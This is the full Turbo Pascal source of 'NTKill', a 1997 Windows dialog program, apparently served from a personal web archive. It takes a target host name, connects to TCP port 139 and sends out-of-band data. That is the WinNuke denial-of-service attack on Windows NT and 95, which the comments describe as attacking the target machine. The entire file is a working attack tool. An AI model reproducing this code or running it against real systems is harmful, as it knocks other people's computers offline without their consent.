Source file: /~heha/secret/ntkill.zip/NTKILL.PAS

program NTKill;
{Kommandozeilenparameter: Rechner, der angegriffen wird}

uses WinProcs,WinTypes,WinSock,WinDos;
{$D NT und 95-Abschrecker V1.0 (05/97)}
{$R NTKill}

type
 LongRec=record
  Lo,Hi: Word;
 end;


const
 dport=139;	{Attack port}
 ByeMsg='Bye';	{egal was}

var
 S: array[0..31]of Char;
 Sock: TSocket;
 WSAData: TWSAData;
 TimeTaken: LongInt;
const
 WM_ContinueInit=WM_User+10;

procedure ShortYield;
 var
  Msg:TMsg;
 begin
  if PeekMessage(Msg,0,0,0,PM_Remove) then begin
   TranslateMessage(Msg);
   DispatchMessage(Msg);
  end;
 end;

function AddListLine(Wnd:HWnd; S:PChar):Boolean;
 begin
  Wnd:=GetDlgItem(Wnd,101);	{Handle des Dialogelementes}
  SendMessage(Wnd,LB_SetTopIndex,
    Word(SendMessage(Wnd,LB_AddString,0,LongInt(S))),0);
 end;

function DialogProc(Wnd:HWnd; Msg,wParam:Word; lParam:LongInt):Bool; export;
 begin
  DialogProc:=false;
  case Msg of
   WM_InitDialog: begin
    SetDlgItemText(Wnd,100,CmdLine);
    PostMessage(Wnd,WM_ContinueInit,0,0);
   end;

   WM_ContinueInit: begin
    UpdateWindow(Wnd);
    if WSAStartUp($0101,WSAData)=0 then begin
     AddListLine(Wnd,'WSAStartup() erfolgreich');
     EnableWindow(GetDlgItem(Wnd,IDOK),true);
     Sock:=Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     if Sock=SOCKET_Error then AddListLine(Wnd,'Fehler bei socket()');
    end else begin
     AddListLine(Wnd,'Fehler bei WSAStartUp()');
    end;
    if lStrLen(CmdLine)>0 then PostMessage(Wnd,WM_Command,IDOK,0);
   end;

   WM_Command: case wParam of
    IDOK: begin
     GetDlgItemText(Wnd,100,S,sizeof(S));
     EnableWindow(GetDlgItem(Wnd,IDOK),false);
{Die Verwendung "synchroner" Socket-Funktionen dürfte dazu führen,
 daß während der Verbindung TAB, Cursortasten usw. versagen}
     case OpenSock(Sock,S,dport) of
      -3: AddListLine(Wnd,'Zielrechner nicht aufl÷sbar!');
      -4: AddListLine(Wnd,'Connect() versagt - kein NT?');
      0: begin
       AddListLine(Wnd,'Connect() OK.');
       if Send(Sock,ByeMsg,lstrlen(ByeMsg),MSG_OOB)<>SOCKET_Error
       then AddListLine(Wnd,'Send() OOB-Daten OK.');
       TimeTaken:=GetTickCount;
       while GetTickCount-TimeTaken<1000 do ShortYield;
      end;
     end;
     EnableWindow(GetDlgItem(Wnd,IDOK),true);
     Wnd:=GetDlgItem(Wnd,100);	{Übergabevariable mißbrauchen}
     SetFocus(Wnd);
     SendMessage(Wnd,EM_SetSel,0,$FFFF0000);
    end;

    IDCancel: begin
     CloseSocket(Sock);
     WSACleanUp;
     EndDialog(Wnd,0);
    end;
   end;
  end;
 end;

begin
 DialogBox(Seg(HInstance),MakeIntResource(100),0,@DialogProc);
end.
Detected encoding: OEM (CP437)1
Wrong umlauts? - Assume file is ANSI (CP1252) encoded